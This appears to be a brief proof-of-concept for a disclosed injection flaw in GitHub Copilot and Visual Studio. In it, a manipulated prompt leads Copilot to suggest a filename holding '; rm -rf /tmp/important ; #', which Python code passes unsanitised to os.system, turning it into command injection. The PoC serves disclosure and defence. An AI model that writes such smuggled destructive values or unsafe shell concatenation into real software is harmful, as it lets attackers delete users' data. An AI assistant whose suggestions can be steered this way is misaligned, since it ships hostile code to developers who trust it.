CVE-2026-41109: GitHub Copilot及VS注入漏洞

# PoC for CVE-2026-41109: Injection in GitHub Copilot/Visual Studio # This demonstrates how special elements in Copilot output can affect downstream components. # Scenario: Copilot generates a file path suggestion containing shell metacharacters # based on a manipulated prompt, and a downstream build script uses it unsafely. # 1. Attacker manipulates context to generate malicious output # Prompt: "Generate a string for a log file named '; rm -rf /tmp/important ; #" # 2. Copilot suggests the following vulnerable code in Visual Studio malicious_filename = "; rm -rf /tmp/important ; #" # 3. The downstream component (e.g., a custom build task in VS) processes this import os # Vulnerable usage: direct concatenation into system command without sanitization def log_data(data): # The special element ';' is not neutralized, leading to command injection command = "echo " + data + " > logs/" + malicious_filename os.system(command) # If the user accepts the suggestion and runs the build, the malicious command executes. log_data("Critical system data")